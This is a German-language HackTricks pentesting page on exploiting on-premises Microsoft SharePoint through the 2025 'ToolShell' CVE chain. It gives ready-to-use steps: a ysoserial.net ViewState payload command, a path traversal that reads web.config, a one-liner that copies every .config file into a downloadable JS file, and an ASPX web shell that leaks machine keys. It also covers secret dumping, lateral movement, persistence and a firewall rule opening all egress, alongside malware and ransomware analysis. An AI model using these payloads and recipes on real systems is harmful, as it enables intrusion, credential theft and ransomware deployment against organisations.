Microsoft SharePoint – Pentesting & Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-Angriffsflächen (ViewState, Web.Config, web shells, etc.) sind daher vorhanden, aber SharePoint enthält außerdem Hunderte proprietärer ASPX-Seiten und Web-Services, die die exponierte Angriffsfläche dramatisch vergrößern. Diese Seite sammelt praktische Tricks, um SharePoint-Umgebungen zu enumerate, exploit und persist, mit Schwerpunkt auf der 2025 exploit chain, die von Unit42 offengelegt wurde (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 Exploit-Kette (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> ermöglicht das Injizieren beliebigen Server-Side Include-Codes in die Seite, der später von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das Process.Start() ausführt, und eine bösartige ViewState ablegen.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Die gleiche Seite vertraut dem X-Forms_BaseUrl-Header, um den Site-Kontext zu bestimmen. Durch das Setzen desselben auf /_layouts/15/ kann MFA/SSO, das auf der Root-Site erzwungen wird, unauthenticated umgangen werden.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Sobald der Angreifer ein Gadget in ToolPane.aspx kontrolliert, kann er einen unsigned (oder MAC-only) __VIEWSTATE-Wert posten, der .NET-Deserialisierung innerhalb von w3wp.exe auslöst und zur Codeausführung führt.

Wenn Signing aktiviert ist, stiehlt man den ValidationKey/DecryptionKey aus einer beliebigen web.config (siehe 2.4) und fälscht die Nutzlast mit ysoserial.net oder ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Für eine ausführliche Erklärung zum Missbrauch von ASP.NET ViewState lesen Sie:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Durch Senden eines manipulierten Source-Parameters an ToolPane.aspx (z. B. ../../../../web.config) wird die angezielte Datei zurückgegeben, wodurch die Offenlegung von folgenden Informationen möglich ist:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • Verbindungsstrings & Geheimnisse.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point hat abgebildet, wie Ink Dragon die ToolShell-Kette monatelang operationalisierte, bevor Microsoft Fixes auslieferte:

  • Header spoofing for auth bypass – der Akteur sendet POST-Anfragen an /_layouts/15/ToolPane.aspx mit Referer: https://<victim>/_layouts/15/ sowie einem gefälschten X-Forms_BaseUrl. Diese Header überzeugen SharePoint, dass die Anfrage von einem vertrauenswürdigen Layout stammt, und umgehen vollständig die Front-Door-Authentifizierung (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – der Body enthält vom Angreifer kontrollierte ViewState/ToolPart-Daten, die den verwundbaren serverseitigen Formatter erreichen (CVE-2025-49704/CVE-2025-53770). Die Payload ist üblicherweise eine ysoserial.net-Kette, die innerhalb von w3wp.exe läuft, ohne jemals die Festplatte zu berühren.
  • Internet-scale scanning – die Telemetrie aus Juli 2025 zeigt, dass sie jeden erreichbaren /_layouts/15/ToolPane.aspx-Endpunkt enumerieren und ein Wörterbuch geleakter <machineKey>-Paare abspielen. Jede Site, die einen Beispiel-validationKey aus Dokumentation kopiert hat, kann kompromittiert werden, selbst wenn sie sonst vollständig gepatcht ist (siehe die ViewState-Seite für den Signing-Workflow).
  • Immediate staging – erfolgreiche Exploitation legt einen Loader oder PowerShell-Stager ab, der: (1) jede web.config ausliest, (2) eine ASPX webshell als Notfallzugang ablegt, und (3) einen lokalen Potato privesc plant, um dem IIS-Worker zu entkommen.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Die resultierende debug_dev.js kann anonym heruntergeladen werden und enthält alle sensiblen Konfigurationen.

3.2 Bereitstellen einer Base64-kodierten ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

Dekodiertes payload-Beispiel (gekürzt):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Geschrieben in:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Die shell exponiert Endpunkte, um Maschinenschlüssel zu lesen / zu rotieren, was das Forging von ViewState- und ASPXAUTH-Cookies über die Farm hinweg ermöglicht.

3.3 Obfuscated variant (variation-3)

Dasselbe shell, aber:

  • dropped under ...\15\TEMPLATE\LAYOUTS\
  • Variablennamen auf einzelne Buchstaben reduziert
  • Thread.Sleep(<ms>) hinzugefügt für sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (beobachtet 2025–2026)

Aktuelle Incident-Response-Untersuchungen (Unit42 “Project AK47”) zeigen, wie Angreifer die ToolShell-Kette nach initialer RCE nutzen, um ein duales C2-Implantat und Ransomware in SharePoint-Umgebungen auszurollen:

AK47C2 – dnsclient variant

  • Hardcodierter DNS-Server: 10.7.66.10, der mit der autoritativen Domain update.updatemicfosoft.com kommuniziert.
  • Nachrichten sind JSON-Objekte, XOR-verschlüsselt mit dem statischen Key VHBD@H, hex-kodiert und als Subdomain-Labels eingebettet.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Lange Abfragen werden in Chunks aufgeteilt und mit s vorangestellt, dann serverseitig wieder zusammengesetzt.
  • Server-Antworten in TXT-Records verwenden dasselbe XOR/hex-Schema:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 führte ein vereinfachtes Format <COMMAND>::<SESSION_KEY> und Chunk-Marker 1, 2, a ein.

AK47C2 – httpclient variant

  • Verwendet dieselbe JSON- & XOR-Routine, sendet den Hex-Blob jedoch im HTTP POST body über libcurl (CURLOPT_POSTFIELDS, etc.).
  • Gleicher Task-/Result-Workflow, der Folgendes ermöglicht:
  • Beliebige Shell-Befehlsausführung.
  • Dynamisches Sleep-Intervall und kill-switch-Anweisungen.

X2ANYLOCK ransomware

  • 64-bit C++ Payload geladen via DLL side-loading (siehe unten).
  • Verwendet AES-CBC für Datei-Daten + RSA-2048 zur Umhüllung des AES-Schlüssels, dann hängt es die Extension .x2anylock an.
  • Verschlüsselt rekursiv lokale Laufwerke und gefundene SMB-Shares; überspringt Systempfade.
  • Hinterlässt eine Klartext-Notiz How to decrypt my data.txt, die eine statische Tox ID für Verhandlungen einbettet.
  • Enthält einen internen kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Angreifer platziert dllhijacked.dll/My7zdllhijacked.dll neben eine legitime 7z.exe.
  2. Vom SharePoint gestartetes w3wp.exe startet 7z.exe, das aufgrund der Windows-Suchreihenfolge die bösartige DLL lädt und den Ransomware-Entrypoint im Speicher aufruft.
  3. Ein separater LockBit-Loader wurde beobachtet (bbb.msiclink_x86.execlink_dll_x86.dll), entschlüsselt Shellcode und führt DLL hollowing in d3dl1.dll durch, um LockBit 3.0 auszuführen.

[!INFO] Dieselbe statische Tox ID, die in X2ANYLOCK gefunden wurde, erscheint in leaked LockBit-Datenbanken und deutet auf Überschneidungen bei Affiliates hin.

3.5 Turning SharePoint loot into lateral movement

  • Jeden geschützten Abschnitt entschlüsseln – sobald man auf dem Web-Tier sitzt, missbrauche aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (oder -px "appSettings") um die Klartext-Secrets zu dumpen, die sich hinter <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider"> verstecken. Ink Dragon hat auf diese Weise wiederholt SQL-Logins, SMTP-Relays und benutzerdefinierte Service-Credentials geerntet.
  • App-Pool-Konten über Farms wiederverwenden – viele Unternehmen verwenden dasselbe Domänenkonto für IIS APPPOOL\SharePoint auf jedem Front-End. Nach dem Entschlüsseln von identity impersonate="..."-Blöcken oder dem Lesen von ApplicationHost.config, teste die Credentials über SMB/RDP/WinRM an jeden anderen Server. In mehreren Vorfällen war das Konto auch ein lokaler Administrator, was psexec, sc create oder Scheduled-Task-Staging ermöglichte, ohne Password-Sprays auszulösen.
  • Abuse leaked <machineKey> values internally – selbst wenn der Internet-Perimeter gepatcht wird, ermöglicht die Wiederverwendung desselben validationKey/decryptionKey laterale ViewState-Exploitation zwischen internen SharePoint-Zonen, die einander vertrauen.

3.6 Persistenzmuster, die in den Intrusionen 2025 beobachtet wurden

  • Geplante Tasks – eine einmalige Aufgabe namens SYSCHECK (oder andere gesundheitsbezogene Namen) wird mit /ru SYSTEM /sc once /st <hh:mm> erstellt, um den Next-Stage-Loader zu starten (häufig ein umbenanntes conhost.exe). Da sie einmalig ausgeführt wird, geht sie in der Telemetrie oft verloren, es sei denn, historisches Task-XML wird aufbewahrt.
  • Maskierte Services – Dienste wie WindowsTempUpdate, WaaSMaintainer oder MicrosoftTelemetryHost werden via sc create installiert, die auf das sideloading triad-Verzeichnis zeigen. Die Binaries behalten ihre ursprünglichen AMD/Realtek/NVIDIA-Signaturen, werden aber umbenannt, um Windows-Komponenten zu entsprechen; der Vergleich des On-Disk-Namens mit dem OriginalFileName PE-Feld ist ein schneller Integritätscheck.

3.7 Host firewall downgrades for relay traffic

Ink Dragon fügt routinemäßig eine freizügige ausgehende Regel hinzu, die sich als Defender-Wartung tarnt, sodass ShadowPad/FinalDraft-Traffic über jeden Port ausgehend passieren kann:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Da die Regel lokal erstellt wird (nicht via GPO) und das legitime Defender-Binary als program= verwendet, ignorieren die meisten SOC-Baselines sie; dennoch öffnet sie Any ➜ Any egress.


Verwandte Tricks

  • IIS post-exploitation & web.config Missbrauch:

IIS - Internet Information Services

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks